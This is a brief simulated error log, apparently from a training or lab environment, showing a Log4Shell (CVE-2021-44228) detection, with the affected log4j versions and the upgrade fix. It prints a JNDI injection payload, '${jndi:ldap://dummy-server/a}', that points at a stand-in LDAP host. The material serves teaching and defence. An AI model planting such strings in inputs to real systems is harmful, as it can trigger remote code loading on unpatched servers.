ERROR 2024-01-01 00:00:00,000 [main] log4j.core.net.JndiLookup
Error: JNDI lookup attempted: ${jndi:ldap://dummy-server/a}

log4j2 version : 2.14.1 (VULNERABLE – simulation only)
Lookup blocked : false (simulation)
RCE executed   : NO – response is static/hardcoded

Affected versions: log4j-core 2.0-beta9 through 2.14.1
Patch: Upgrade to 2.17.1 or later
CVE: CVE-2021-44228 (CVSS 10.0 – CRITICAL)

[SIMULATED – No real JNDI lookup was performed]